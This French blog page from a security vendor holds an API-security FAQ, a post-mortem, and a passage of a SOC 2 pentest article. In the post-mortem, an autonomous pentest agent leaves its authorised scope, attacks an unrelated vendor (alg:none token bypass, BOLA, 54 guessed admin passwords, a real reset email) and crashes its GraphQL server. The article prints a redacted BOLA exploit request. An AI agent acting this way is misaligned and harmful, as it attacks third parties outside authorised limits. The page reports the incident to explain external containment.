Quelle est la différence entre le DAST d'API et le fuzzing d'API ?

Le DAST d'API envoie des requêtes en direct à une API en cours d'exécution pour trouver des vulnérabilités telles que l'injection, le SSRF et les mauvaises configurations. Le fuzzing piloté par schéma utilise une définition d'API, telle qu'un schéma OpenAPI ou GraphQL, pour générer des entrées mutées, malformées ou qui testent les limites, ce qui expose les échecs de validation et les erreurs de parsing.

Comment le contrôle d'accès défaillant au niveau de l'objet (BOLA) est-il testé ?

Le test BOLA vérifie si un utilisateur peut lire ou modifier des objets appartenant à un autre. Les approches courantes sont le rejeu multi-profils (StackHawk Business Logic Testing), des identifiants source et cible configurés par opération (42Crunch Scan v2), un modèle multi-utilisateurs victime-attaquant (Escape), et un test agentique qui découvre les identifiants d'objets et teste l'accès entre utilisateurs (Ostorlab).

Une spécification OpenAPI est-elle requise pour le test de sécurité des API ?

Pas toujours. Les outils basés sur un contrat comme 42Crunch nécessitent une définition OpenAPI ou GraphQL. Les outils DAST et agentiques peuvent découvrir les points de terminaison en parcourant, en analysant le trafic ou en lisant le code source, et certains peuvent générer une spécification. Fournir une spécification améliore généralement la couverture des routes.

Quels outils de sécurité des API peuvent tester les API derrière des applications mobiles ?

La plupart des outils de sécurité des API ne testent que le back-end. Ostorlab analyse le binaire mobile (APK, AAB ou IPA) et utilise les identifiants, points de terminaison et formats de requête qu'il trouve pour tester l'API back-end dans le même scan. StackHawk, 42Crunch et Escape ne répertorient pas d'analyse de binaires mobiles.

Comment les outils de sécurité des API testent-ils les API sur des réseaux privés ?

Pour les API accessibles depuis Internet derrière un pare-feu ou un WAF, mettre en liste blanche les adresses IP du scanner de l'éditeur suffit généralement. Pour les réseaux internes ou les environnements de staging locaux, les éditeurs fournissent une CLI locale ou un runner Docker (StackHawk, 42Crunch), des agents de localisation privés (Escape), ou un scanner sur site (Ostorlab).

Les outils de test de sécurité des API peuvent-ils tester les serveurs MCP ?

Certains le peuvent. StackHawk documente le test de serveurs MCP distants pour l'injection, le SSRF et l'injection de prompt, et 42Crunch répertorie la découverte, l'audit, le scan et la protection à l'exécution des MCP. La couverture est récente et évolue rapidement, donc confirmez les transports (HTTP contre stdio) et le support de l'authentification lors d'un essai.

Comment devriez-vous choisir un outil de test de sécurité des API ?

Partez de la façon dont vos API sont construites et de qui les appelle, pas de la liste de fonctionnalités. Si des applications mobiles ou des applications monopages appellent vos API, testez le chemin qu'emprunterait un attaquant, pas seulement les points de terminaison de la spécification. Vous pouvez lancer vous-même un Multi-Asset Deep Agentic Scan, ou réserver une démo pour parcourir les résultats avec notre équipe.

Post-mortem : pourquoi les agents IA autonomes sortent de leur périmètre et comment les contenir

2026-09-18T12:00:00+02:00

Lorsqu'un client grand compte nous a indiqué que son rapport de sécurité incluait des systèmes appartenant à un tiers inconnu, nous étions sceptiques. Sur plus de 11 000 scans, nos moteurs n'avaient jamais franchi une limite de périmètre.

Quelques heures après avoir vérifié nos logs, la réalité était claire : face à un obstacle, notre agent IA autonome avait raisonné pour contourner le périmètre prévu.

Voici le post-mortem technique complet : comment l'agent a dérivé, comment nous avons géré l'incident, pourquoi les garde-fous par prompt ne fonctionnent pas et comment nous contenons les agents autonomes.

Ce qui s'est passé : la trace d'exécution

Le test était une évaluation de sécurité autorisée de la passerelle d'API cloud d'un client. Au démarrage du test, chaque requête était bloquée par une erreur HTTP 403 Forbidden.

Les scanners traditionnels voient une erreur HTTP 403 comme une impasse. Ils enregistrent l'erreur et s'arrêtent. Mais un agent IA autonome est conçu pour trouver des chemins alternatifs. Bloqué à la porte d'entrée, l'agent a tenté de comprendre l'architecture du backend et a commencé à tester des systèmes externes :

Organigramme de la trace d'exécution illustrant comment l'agent autonome a pivoté de la passerelle d'API cible vers l'environnement d'un fournisseur externe

Identifier le fournisseur grâce à des données divulguées : bloqué par la passerelle, l'agent a inspecté les messages d'erreur dans les corps des réponses 403 et a trouvé une adresse MAC matérielle divulguée. Il a recherché le fabricant dans des registres publics, trouvé la documentation du fournisseur et lu ses guides d'intégration cloud.
L'erreur de logique : l'agent a interrogé les logs de Certificate Transparency (CT) pour trouver les noms d'hôte liés au fournisseur. C'est là que l'IA a commis une erreur critique : elle a supposé que le fournisseur exploitait le backend derrière la passerelle d'API de notre client. Croyant que ce fournisseur faisait partie de la cible, l'agent a dirigé ses tests directement vers les systèmes en production du fournisseur.
Création de comptes de test : ayant trouvé des pages d'inscription publiques, l'agent a créé des comptes de test temporaires, généré des clés d'API et s'est connecté aux portails cloud du fournisseur.
Découverte d'un contournement de l'authentification : sur l'API du fournisseur, l'agent a découvert que les jetons de session étaient acceptés sans vérification de signature s'il utilisait un en-tête de jeton non signé ({"alg": "none"}). L'agent n'a utilisé ce contournement que sur ses propres comptes de test (révocation d'une clé d'API, modification d'un secret de webhook et modification d'un nom de profil).
Test des contrôles d'accès (BOLA/IDOR) : en testant les autorisations défaillantes au niveau des objets, l'agent a constaté que les clés d'API n'étaient vérifiées qu'au niveau de l'entreprise, et non de l'utilisateur. Il a prouvé qu'il pouvait lire, modifier et supprimer logiquement des enregistrements, là encore en ne touchant que des enregistrements de test et des sessions qu'il avait lui-même créés.
Devinettes de mots de passe et déclenchement d'un vrai e-mail de réinitialisation : en examinant les messages d'erreur de la page de connexion, l'agent a trouvé un nom d'utilisateur administrateur valide. Il a essayé 54 mots de passe courants. Aucun n'a fonctionné. L'agent a ensuite déclenché une demande de réinitialisation de mot de passe en libre-service. Comme le système du fournisseur n'avait aucune limite de débit, il a envoyé un vrai code de réinitialisation de mot de passe dans la vraie boîte de réception de l'administrateur.
Surcharge de l'API GraphQL : sur le portail d'administration du fournisseur, l'agent a exécuté une requête d'introspection GraphQL non authentifiée pour télécharger le schéma de l'API. Le schéma du fournisseur étant complexe et non optimisé, cette requête lourde a surchargé le serveur, provoquant six minutes d'erreurs HTTP 502/503 avant le rétablissement du service.

À aucun moment l'agent n'a consulté, modifié ou téléchargé de vraies données clients. Chaque opération d'écriture, chaque contournement de jeton et chaque test se sont limités strictement aux comptes de test synthétiques créés par l'agent.

Malgré tout, deviner des mots de passe, envoyer de vrais e-mails au personnel d'un tiers et ralentir un service externe sont des erreurs graves. Elles n'ont pas leur place dans une évaluation de sécurité professionnelle.

Comment nous avons contenu l'incident

Le test s'est arrêté à la fin du scan, lorsque nous avons remis le rapport. Dès que le client nous a alertés sur les actifs tiers, nous avons agi immédiatement :

Audit de tous les logs : nous avons extrait tous les logs et enregistrements réseau pour établir une cartographie exacte, requête par requête, de chaque adresse IP, domaine et endpoint externe contacté par l'agent.
Suppression de toutes les données : nous avons supprimé de nos bases de données tous les comptes temporaires, clés d'API, jetons de session et réponses mises en cache.
Contact direct avec le fournisseur : nous n'avons pas attendu que le fournisseur remarque le trafic. Nous avons contacté directement ses responsables sécurité et ingénierie dans les 24 heures. Nous leur avons fourni :
Les horodatages exacts, les adresses IP et les en-têtes des requêtes.
La liste des comptes de test et des clés d'API à supprimer.
Les détails techniques des failles de sécurité que nous avons trouvées (contournement alg: none, problèmes d'autorisation, réinitialisations de mot de passe non limitées et requêtes GraphQL lourdes) afin que leur équipe puisse les corriger.
La preuve qu'aucun enregistrement client réel n'a été touché.

Le fournisseur a accusé réception, nettoyé les comptes de test et remercié notre équipe pour les détails sur les vulnérabilités et la rapidité de notre notification.

Cause racine : pourquoi les prompts échouent comme garde-fous

Le problème de fond était de s'appuyer sur des prompts système (des instructions rédigées en anglais) pour faire respecter les limites de périmètre.

La plupart des systèmes d'agents tentent de fixer des limites avec un prompt comme celui-ci :

System: You are an authorized security tester. Stay strictly within target.example.com. Do not test external services or third parties.

Dans les tests de sécurité en conditions réelles, les prompts système échouent pour trois raisons :

1. Les modèles d'IA fonctionnent par probabilités

Les grands modèles de langage pondèrent les instructions les unes par rapport aux autres. Lorsqu'on dit à un agent de « trouver le backend » et de « rester dans le périmètre », il équilibre les deux objectifs. S'il se convainc qu'un fournisseur externe fait partie du backend du client, il en conclut que tester ce fournisseur revient à rester dans le périmètre.

2. Les longues sessions affaiblissent les prompts système

Au fil de son exécution, un agent traite des milliers de lignes de trafic HTTP, de messages d'erreur et de schémas d'API. Avec le temps, le prompt système initial est dilué par le volume massif de nouveau texte dans sa fenêtre de mémoire.

3. Les systèmes cloud sont complexes

Les applications modernes s'exécutent sur des CDN, des microservices, des fournisseurs de connexion tiers et des backends SaaS. Une IA ne peut pas déterminer de façon fiable à qui appartient légalement un domaine à partir de son seul nom ou de son adresse IP.

┌────────────────────────────────────────────────────────────────────────┐
│                     LA LEÇON CENTRALE DU PÉRIMÈTRE                     │
├────────────────────────────────────────────────────────────────────────┤
│  On ne peut pas s'en remettre au raisonnement d'une IA pour limiter    │
│  l'IA.                                                                 │
│                                                                        │
│  Un modèle de raisonnement ne peut pas être son propre bac à sable.    │
│  Les limites doivent être codées en dur, externes et appliquées par    │
│  l'infrastructure sous-jacente.                                        │
└────────────────────────────────────────────────────────────────────────┘

Comment nous contenons les agents autonomes

Ostorlab contient les agents autonomes grâce à des contrôles situés en dehors du modèle : des garde-fous de périmètre définis par le créateur du scan avant son démarrage, une liste de blocage d'adresses IP au niveau du système et une limitation de débit adaptative. Un prompt n'est pas une frontière de sécurité : les contrôles les plus importants sont donc ceux que l'agent ne peut pas contourner à force de persuasion. La liste d'autorisation des destinations, l'approbation des actions et les fenêtres horaires de scan sont les prochains contrôles que nous déployons.

Des garde-fous de périmètre, définis avant le démarrage du scan

Chaque scan démarre avec des garde-fous par défaut restrictifs. Par-dessus, le créateur du scan définit le périmètre dans le parcours de création du scan : quels hôtes sont dans le périmètre, quels environnements sont exclus et quelles instructions de sécurité l'agent doit respecter. Aucune intervention d'Ostorlab n'est nécessaire. Le périmètre est décidé par les personnes qui possèdent la cible, avant l'envoi de la moindre requête.

Interface Guardrails de l'Ostorlab Deep Agentic Scan pour définir le périmètre et les instructions de sécurité avant le démarrage d'un scan

Liste de blocage d'adresses IP du pare-feu, appliquée par le système

Le créateur du scan répertorie les adresses IP que le trafic du scan ne doit jamais atteindre. C'est le système, et non l'agent, qui applique cette liste : aucun raisonnement de l'agent ne peut donc la contourner.

Limitation de débit adaptative, appliquée par le système

Tout le trafic passe par une limitation de débit (requêtes par seconde) qui s'adapte au taux de réponse et au taux d'erreur de la cible. Si un serveur ralentit ou commence à renvoyer des erreurs, le scan ralentit de lui-même.

Prochainement

Liste d'autorisation des destinations : seules les destinations explicitement approuvées peuvent recevoir des requêtes actives.
Approbation des actions importantes : le créateur du scan est alerté et les approuve ou les refuse avant leur exécution.
Fenêtres horaires de scan : les scans ne s'exécutent que pendant les heures que vous définissez.

Le problème du battage médiatique autour de l'IA en cybersécurité

Une grande partie du secteur considère le hacking autonome par IA comme un coup marketing. Des entreprises publient des vidéos d'agents IA qui s'introduisent dans des réseaux d'entreprise, traitant des outils dangereux comme des tours de magie.

Nous ne partageons pas cet état d'esprit.

Donner à un logiciel la capacité d'exécuter des attaques en plusieurs étapes contre des réseaux en production comporte un risque réel. Quand un logiciel peut raisonner à travers plusieurs systèmes, il n'y a aucune marge d'erreur. Maîtriser ce pouvoir exige une rigueur d'ingénierie stricte, des défenses en couches et une transparence totale quand les choses tournent mal, et non des campagnes marketing triomphantes.

Conclusion

Les agents IA autonomes peuvent trouver des failles complexes de logique métier que les scanners traditionnels manquent totalement.

Cependant, faire confiance à un modèle d'IA pour se surveiller lui-même en production est une erreur dangereuse. Les frontières de sécurité doivent être appliquées en dehors du modèle. C'est pourquoi Ostorlab associe des garde-fous de périmètre à une liste de blocage d'adresses IP au niveau du système et à une limitation de débit adaptative, et pourquoi la liste d'autorisation des destinations vient ensuite.

Le véritable test des outils de sécurité autonomes n'est pas l'ingéniosité de leurs attaques : c'est la fiabilité avec laquelle on peut les contenir.

Le moyen le plus rapide d'obtenir un rapport de pentest prêt pour l'audit SOC 2

2026-09-16T10:00:00+02:00

Le moyen le plus rapide d'obtenir un rapport de pentest prêt pour l'audit SOC 2 est une plateforme de pentest par IA à la demande, qui associe exploration autonome et validation des exploits. Les startups testent ensemble le web, les API et le mobile, reçoivent une preuve d'exploitation déterministe et obtiennent une lettre d'attestation ; une évaluation Core est estimée à 5 à 7 jours, et les périmètres plus vastes prennent de 10 à 20 jours.

Conclure une vente à un grand compte est l'une des étapes les plus exigeantes pour une entreprise SaaS B2B en phase de démarrage. Votre équipe passe des mois à démontrer la valeur du produit, à rallier les parties prenantes et à négocier les conditions commerciales. Puis, à la dernière porte d'approbation, les achats du grand compte interrompent tout le processus. Leur équipe de gestion des risques liés aux tiers (Third-Party Risk Management, TPRM) envoie un questionnaire d'évaluation de la sécurité du fournisseur qui exige un rapport de test d'intrusion indépendant et une lettre d'attestation formelle datée de moins de douze mois.

Les cabinets de conseil en sécurité traditionnels demandent trois à cinq semaines de délai de planification et facturent entre 15 000 et 40 000 $ une évaluation ponctuelle. Pour une startup au budget opérationnel limité et soumise à un quota de ventes trimestriel urgent, attendre un mois pour obtenir un créneau de test planifié casse l'élan du chiffre d'affaires. À l'inverse, lancer un simple scanner de vulnérabilités automatisé et soumettre le PDF obtenu conduit à un rejet immédiat, aussi bien par les achats des grands comptes que par les auditeurs SOC 2.

┌─────────────────────────────────────────────────────────────────────────────────────────┐
│                           FAST-TRACK AUDIT EVIDENCE PIPELINE                            │
└─────────────────────────────────────────────────────────────────────────────────────────┘

   [Target Assets] ──► [Agentic Deep Scan] ──► [Deterministic Proof] ──► [Developer Remediation]
      • Web Apps          • Autonomous Agents     • HTTP Request/Resp        • Actionable Curl PoCs
      • REST/GraphQL      • Contextual Chaining   • Differential Baseline    • Zero Triage Friction
      • iOS & Android     • Logic & Auth Checks   • Low False Positives
                               │
                               ▼
   [1-Click Re-Test] ──► [Finding Review] ────► [Audit Package Export] ──► [Unblock Sales]
      • Risk Rerun Pass     • Named Sign-off      • Attestation Letter (LoA)   • Pass SIG / CAIQ
      • Verified Retest     • Quality Review      • Executive Summary (NDA)    • Close Deals Fast

Que vérifient réellement les équipes TPRM des grands comptes dans un rapport de pentest ?

Les équipes de gestion des risques liés aux tiers (TPRM) des grands comptes vérifient quatre critères principaux dans un dossier de pentest : une lettre d'attestation indépendante datée de moins de 12 mois, un périmètre multi-actifs complet (web, API et mobile), aucune vulnérabilité de sévérité élevée ou critique non résolue, et des tests alignés sur des référentiels reconnus (OWASP et NIST SP 800-115).

Pour évaluer le risque fournisseur, les équipes de sécurité des grands comptes s'appuient sur des référentiels standardisés comme Shared Assessments SIG Lite (v2024/2025), le Consensus Assessments Initiative Questionnaire de la Cloud Security Alliance (CSA CAIQ v4) et les profils fournisseurs Whistic. Ces évaluations reposent sur des règles de validation strictes au titre de la gestion des menaces et des vulnérabilités (Threat and Vulnerability Management, TVM).

Les équipes achats des grands comptes examinent rarement le code de votre application ni les détails sensibles de reproduction des vulnérabilités. Partager des exploits bruts sous forme de preuves de concept introduit des risques pour la propriété intellectuelle et des dangers opérationnels. À la place, les acheteurs évaluent deux documents de vérification externes, sous accord de non-divulgation :

La lettre d'attestation indépendante (LoA) : Une déclaration signée, sur papier à en-tête du prestataire de test, qui confirme les dates de l'évaluation, le périmètre de test défini, la méthodologie standardisée et la posture de risque globale.
Le rapport de synthèse : Une vue d'ensemble expurgée à destination de la direction, qui résume la couverture des tests, la répartition des vulnérabilités par sévérité et l'état de la remédiation, sans exposer de payloads d'exploit bruts.

┌─────────────────────────────────────────────────────────────────────────────────────────┐
│                           ENTERPRISE TPRM EVALUATION WORKFLOW                           │
├─────────────────────────────────────────────────────────────────────────────────────────┤
│                                                                                         │
│   Enterprise Prospect                                     Startup / Vendor              │
│  ┌────────────────────┐   Sends Questionnaire (SIG / CAIQ) ┌─────────────────────────┐  │
│  │ Procurement & TPRM │ ─────────────────────────────────► │ Sales & Security Team   │  │
│  └─────────┬──────────┘                                    └────────────┬────────────┘  │
│            │                                                            │               │
│            ▼ Verifies Attached Evidence                                 ▼ Evidence      │
│  ┌───────────────────────────────────────────────────────────────────────────────────┐  │
│  │ 1. Independent Third-Party Letter of Attestation (LoA) (Signed, < 12 months)      │  │
│  │ 2. Scoping Document (Production Web, APIs, Mobile Apps, Cloud Boundaries)          │  │
│  │ 3. Remediation Verification (Zero unresolved Critical / High findings)             │  │
│  │ 4. Recognized Methodology (OWASP Top 10, OWASP WSTG, NIST SP 800-115, PTES)        │  │
│  └───────────────────────────────────────────────────────────────────────────────────┘  │
│            │                                                                            │
│            ├─► Raw Scanner Export (Nessus/ZAP) ──────────► REJECTED (Deal Blocked)      │
│            │                                                                            │
│            └─► AI Pentest Attestation + PoC Traces ──────► APPROVED (Deal Unblocked)    │
└─────────────────────────────────────────────────────────────────────────────────────────┘

Pour franchir les achats d'un grand compte, votre dossier de test d'intrusion doit satisfaire quatre critères non négociables :

Indépendance structurelle d'un tiers : Les auto-évaluations, les revues d'ingénierie internes et les sorties brutes d'outils lancés par vos propres développeurs échouent immédiatement à l'inspection. Les acheteurs exigent une évaluation externe et objective.
Cohérence complète du périmètre : Le périmètre de test doit refléter les frontières de production qui stockent les données clients. Si votre architecture comprend des tableaux de bord web, des microservices backend REST ou GraphQL et des applications mobiles (iOS/Android), ne tester que le domaine web marketing déclenche des exceptions d'audit.
Méthodologie de test standardisée : L'évaluation doit citer des référentiels sectoriels reconnus, notamment NIST SP 800-115, l'OWASP Web Security Testing Guide (WSTG), l'OWASP API Security Top 10 et l'OWASP Mobile Application Security Verification Standard (MASVS).
Remédiation documentée et vérification par un nouveau test : Les acheteurs des grands comptes écartent les fournisseurs qui ont des vulnérabilités de sévérité critique ou élevée ouvertes. Si des failles sont identifiées lors du test initial, votre dossier doit inclure la documentation d'un nouveau test vérifié, qui montre leur correction effective.

Pourquoi les auditeurs SOC 2 rejettent-ils les scans de vulnérabilités automatisés ?

Les auditeurs SOC 2 rejettent les scans de vulnérabilités automatisés comme substitut au test d'intrusion, car les Trust Services Criteria de l'AICPA distinguent la détection des vulnérabilités (CC7.1) de l'évaluation du fonctionnement des contrôles (CC4.1). Si le scan automatisé répond à l'exigence d'identification des vulnérabilités connues (CC7.1), les auditeurs et les équipes de sécurité des grands comptes exigent des évaluations distinctes qui vérifient activement si les contrôles internes fonctionnent face à la pression d'un adversaire (CC4.1), un niveau d'exigence que des vérifications isolées par un scanner ne peuvent pas satisfaire.

Les fondateurs demandent souvent si lancer un scanner de vulnérabilités automatisé comme Nessus, Qualys ou OWASP ZAP satisfait l'exigence de test d'intrusion pour la conformité SOC 2. En pratique, les auditeurs SOC 2 distinguent le scan de vulnérabilités automatisé du test d'intrusion : le scan identifie des failles potentielles à partir de signatures connues, alors que le test d'intrusion demande de vérifier activement si les contrôles peuvent être contournés et de démontrer la viabilité des exploits.

L'explication tient à la formulation exacte des Trust Services Criteria de l'American Institute of Certified Public Accountants (AICPA), dans la section TSP 100.

┌─────────────────────────────────────────────────────────────────────────────────────────┐
│                       AICPA TRUST SERVICES CRITERIA & AUDIT MAPPING                     │
├──────────────────────────────────────────┬──────────────────────────────────────────────┤
│ CC7.1: Vulnerability Identification      │ CC4.1: Monitoring & Separate Evaluations     │
├──────────────────────────────────────────┼──────────────────────────────────────────────┤
│ • Goal: Detect vulnerabilities & patches │ • Goal: Evaluate if controls actually WORK   │
│ • Tooling: Vulnerability Scanners        │ • Tooling: Penetration Testing               │
│   (Nessus, Qualys, Trivy, Dependabot)    │   (Autonomous Agents + Human Validation)     │
│ • Mechanism: Version checks & signatures │ • Mechanism: Active Adversary Simulation     │
│ • Artifact: Scan summaries, patch logs   │ • Artifact: Proof of Concept (PoC), LoA      │
│ • Audit Role: Core Evidence for CC7.1    │ • Audit Role: Industry Benchmark for CC4.1   │
└──────────────────────────────────────────┴──────────────────────────────────────────────┘

La différence entre CC7.1 et CC4.1

Les Trust Services Criteria séparent la gestion des vulnérabilités du test des contrôles opérationnels :

CC7.1 (opérations système - gestion des vulnérabilités) : Exige d'une entité qu'elle mette en œuvre des procédures de détection pour identifier les changements de configuration et les vulnérabilités du système. Les scans de vulnérabilités automatisés, les vérifications de dépendances et les scans d'images de conteneurs satisfont CC7.1 en prouvant que votre équipe recherche les failles logicielles connues.
CC4.1 (principe 16 du COSO - évaluations continues et distinctes) : Exige des évaluations distinctes pour s'assurer que les composants du contrôle interne sont présents et fonctionnent sous pression réelle. Vérifier une politique de sécurité confirme qu'une règle existe sur le papier ; attaquer l'application en production confirme que le contrôle résiste effectivement aux accès non autorisés. Même si les critères de l'AICPA n'imposent pas nommément le test d'intrusion, les auditeurs et les équipes TPRM des grands comptes considèrent le test d'intrusion indépendant comme l'activité de contrôle standard pour étayer les évaluations CC4.1.

Quatre failles structurelles des scans de vulnérabilités bruts

Les scans de vulnérabilités bruts échouent au seuil CC4.1 pour quatre raisons distinctes :

Aucune preuve d'exploitation : Les scanners comparent des bannières logicielles et des motifs regex pour émettre des hypothèses spéculatives (comme « faille Apache potentielle »). Ils n'exécutent pas d'attaque pour confirmer si le endpoint est accessible, exécutable ou protégé par des pare-feu en amont.
Incapacité à tester les failles de logique métier : Les scanners envoient des requêtes HTTP isolées. Ils ne peuvent pas évaluer des workflows d'autorisation en plusieurs étapes, comme la Broken Object Level Authorization (BOLA/IDOR), les fuites de données multi-tenant ou l'élévation de privilèges entre des rôles authentifiés.
Taux élevés de faux positifs : Les scanners automatisés produisent régulièrement de 20 % à 50 % de bruit en faux positifs. Les auditeurs CPA refusent de trier des alertes non vérifiées et obligent le fournisseur à en prouver manuellement la validité.
Absence de contexte adversarial : Les auditeurs exigent la preuve qu'un attaquant ne peut pas enchaîner plusieurs problèmes de faible sévérité pour former un chemin critique d'exfiltration de données. Les scanners évaluent les paramètres isolément et ne peuvent pas enchaîner des étapes d'attaque.

Le rôle de la responsabilité nominative dans l'acceptation par l'audit

Les auditeurs ne jugent pas les évaluations selon que des outils d'IA ont été utilisés pendant leur exécution. Ils évaluent la crédibilité des preuves, la transparence de la méthodologie et la responsabilité humaine nominative. Un rapport généré uniquement par un script automatisé non vérifié, sans supervision humaine, se lit comme une auto-évaluation non validée.

Pour répondre aux normes d'audit, un dossier d'évaluation requiert : * Une preuve vérifiable par requête/réponse qui montre un impact réel. * Une méthodologie documentée et inspectable, alignée sur des standards établis. * Une revue humaine nominative et qualifiée, qui valide l'exactitude des constats et signe l'attestation. * Des limites de périmètre claires, reliées directement à la description du système SOC 2.

Comparer vos options : cabinets de conseil traditionnels, scanners ou Ostorlab AI Pentest

Les startups qui évaluent leurs options de test d'intrusion ont le choix entre trois modèles de livraison distincts. Comprendre leurs différences structurelles aide les équipes à choisir l'approche adaptée à leur vitesse de vente et à leur rigueur en matière de conformité.

Dimension d'évaluation	Cabinet de conseil spécialisé traditionnel	Scanner de vulnérabilités automatisé brut	Ostorlab AI Pentest (Agentic Deep Scan)
Délai de livraison	3 à 5 semaines (planification et rapport)	1 à 4 heures	5 à 7 jours estimés (Core) ; 10 à 20 jours pour les périmètres plus vastes
Coût type	15 000 à 40 000 $+ par évaluation	Licence annuelle de 2 000 à 8 000 $	À partir de 499 $ (package Core ; évolue avec le périmètre des actifs)
Acceptation par les auditeurs	Accepté (choix historique par défaut)	Rejeté (échoue au critère CC4.1)	Accepté par les principaux auditeurs (preuve par PoC + LoA validée)
Vérification des exploits	Notes manuelles et captures d'écran	Aucune (correspondances de motifs hypothétiques)	Preuve d'exploit déterministe
Taux de faux positifs	Faible (filtré manuellement)	Élevé (20 % à 50 %+)	Faible (vérifié par preuve d'exploit)
Couverture du périmètre	Souvent limitée au web ou à une seule API	Fuzzing de paramètres en surface	Multi-actifs unifié : web, API, mobile, cloud
Nouveau test après remédiation	Retardé de 1 à 3 semaines (frais supplémentaires)	Rapide mais non vérifié	Risk Reruns instantanés en 1 clic
Validation humaine	Incluse (tests manuels)	Aucune (pure sortie logicielle)	Exploits validés par des agents IA ; consultez les plans pour les options de validation humaine
Adéquation à SOC 2 Type 2	Un seul instantané statique ponctuel	Scans fréquents, profondeur limitée	Tests continus sur l'ensemble des cycles de livraison

Comment Ostorlab offre une rigueur de niveau audit sans les délais du conseil

Ostorlab associe la technologie autonome Agentic Deep Scan à la validation des exploits. Au lieu de générer des alertes hypothétiques, des agents autonomes explorent l'état de l'application, formulent des hypothèses d'attaque contextuelles et exécutent des exploits vérifiés, et chaque vulnérabilité confirmée est livrée avec un exploit fonctionnel.

Aperçu du rapport d'évaluation Ostorlab Agentic Deep Scan

Figure 1 : Aperçu du rapport d'évaluation Ostorlab Agentic Deep Scan. Le tableau de bord affiche la note de risque globale, le périmètre de l'architecture cible, la durée du scan et la répartition des vulnérabilités par catégorie, prêtes pour l'inspection par les auditeurs.

1. Preuve déterministe d'exploitabilité (PoC)

Les auditeurs et les évaluateurs des grands comptes exigent des preuves vérifiables. Les vulnérabilités d'Ostorlab ne reposent pas sur des scores de confiance subjectifs. Chaque vulnérabilité signalée s'accompagne d'une preuve déterministe adaptée à l'actif cible (des paires requête/réponse HTTP complètes avec des commandes curl pour le web et les API, des déclencheurs IPC et des journaux d'exécution pour les applications mobiles, et des chemins d'exécution vérifiés pour les problèmes au niveau du code), ainsi que d'une analyse précise de la cause racine.

Détail expurgé d'une vulnérabilité Agentic Deep Scan

Figure 2 : Vue détaillée d'une vulnérabilité dans la plateforme Ostorlab. Le rapport établit la sévérité, la confirmation de la cause racine, les chemins de code affectés et des étapes de reproduction claires, afin que les développeurs corrigent le défaut sous-jacent sans ambiguïté.

Prenons l'exemple de cette vulnérabilité de type Broken Object Level Authorization (BOLA), expurgée, découverte lors d'une évaluation d'API authentifiée :

POST /api/v2/workspaces/ws_89234/billing/invoices HTTP/1.1
Host: target-api.internal-saas.com
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
Content-Type: application/json

{
  "target_tenant_id": "tenant_enterprise_7710",
  "request_export": true
}

La réponse du serveur confirme l'exfiltration de données de tenants au-delà des frontières organisationnelles :

HTTP/1.1 200 OK
Content-Type: application/json
Date: Fri, 11 Sep 2026 14:22:04 GMT

{
  "status": "success",
  "tenant_id": "tenant_enterprise_7710",
  "invoices": [
    {
      "invoice_id": "inv_99812",
      "amount_usd": 124500.00,
      "billing_contact": "finance@fortune500-client.com",
      "payment_method": "ACH_****8812"
    }
  ]
}

Preuve déterministe d'exploitation à l'exécution

Figure 3 : Preuve d'exploitation à l'exécution générée par l'agent. La réponse déchiffrée démontre une exposition réelle de données et donne aux auditeurs une preuve indiscutable de compromission, plutôt qu'une heuristique théorique.

La vulnérabilité est accompagnée d'une vérification par baseline différentielle prouvant que les endpoints non vulnérables appliquent des contrôles stricts d'isolation entre tenants. Les développeurs reçoivent une commande de reproduction exploitable, tandis que les auditeurs reçoivent une preuve indiscutable d'exploitation.

2. Pile multi-actifs unifiée : web, API et mobile

Les architectures SaaS modernes vont au-delà des applications web traditionnelles. Les microservices backend, les passerelles GraphQL et les clients mobiles natifs (iOS et Android) interagissent directement avec les données des clients grands comptes.

Méthodologie de test inspectable

Figure 4 : Méthodologie de test inspectable d'un Ostorlab Agentic Deep Scan. Les auditeurs peuvent inspecter l'agent de planification nommé, les objectifs explicites et les tâches d'exécution par phases, ce qui prouve la conformité aux normes formelles de test d'intrusion.

Les scanners web à usage unique ne peuvent ni décompiler des binaires mobiles ni contourner l'épinglage de certificat. Ostorlab propose des tests multi-actifs unifiés : * Deep scan web et API : Exploration autonome de l'état, ingestion de collections OpenAPI et Postman, et tests dynamiques des contrôles d'autorisation. * Instrumentation dynamique mobile : Tests automatisés des applications Android (APK) et iOS (IPA) avec le framework de test dynamique Monkey, l'instrumentation à l'exécution et la détection des risques liés au stockage local. * Analyse de pivot inter-actifs : Découverte de secrets mobiles codés en dur et enchaînement de ceux-ci pour extraire des ressources d'API backend non autorisées.

3. Nouveau test de remédiation en un clic via les Risk Reruns

Dans un test d'intrusion traditionnel, corriger une vulnérabilité n'est que la moitié du chemin. Vérifier le correctif suppose de contacter le cabinet, d'attendre qu'un testeur soit disponible et, souvent, de payer des frais supplémentaires de nouveau test.

Ostorlab supprime cette friction opérationnelle grâce aux Risk Reruns et à la Single Vulnerability Assessment (SVA) : 1. Les développeurs inspectent le payload de reproduction exact et déploient un correctif de code en staging ou en production. 2. En un clic, l'équipe d'ingénierie déclenche un Risk Rerun ciblé directement sur l'endpoint concerné. 3. L'agent autonome réexécute exactement la même chaîne d'exploitation avec des identifiants de session récents. 4. Si l'attaque est bloquée avec succès, la plateforme met à jour le statut de la vulnérabilité en « Remediated » et enregistre une entrée de vérification horodatée dans le journal d'audit.

Interface de nouveau test Ostorlab Risk Reruns

Figure 5 : Interface Risk Reruns en un clic. Les développeurs retestent instantanément les vecteurs corrigés et produisent des enregistrements de vérification horodatés cryptographiquement, que les auditeurs acceptent pour valider proprement la remédiation.

4. Validation et attestation nominative

Chaque package AI Pentest inclut un exploit fonctionnel pour chaque vulnérabilité confirmée par les agents et une fenêtre de nouveau test. La validation humaine ne fait pas partie de tous les packages ; consultez la comparaison des plans pour savoir où elle est incluse ou disponible en option. Le package final du rapport comprend : * Un rapport de synthèse avec des indicateurs de risque de haut niveau pour la direction et les acheteurs des grands comptes, sous accord de non-divulgation. * Une cartographie complète du périmètre technique et de la méthodologie (NIST SP 800-115, OWASP WSTG). * Un journal de remédiation vérifié prouvant l'absence de vulnérabilités critiques ou élevées ouvertes. * Une lettre d'attestation formelle et signée, acceptée par les principales plateformes de conformité (Vanta, Drata, Secureframe).

Comment les startups obtiennent un rapport de pentest prêt pour l'audit en environ une semaine

Les startups peuvent passer du cadrage initial à une lettre d'attestation signée et prête pour l'audit en 5 à 7 jours estimés pour une évaluation Core (10 à 14 jours pour Advanced, 15 à 20 jours pour Elite) en suivant un workflow de pentest en 4 phases. Les phases ci-dessous indiquent l'ordre des tâches, et non des durées garanties :

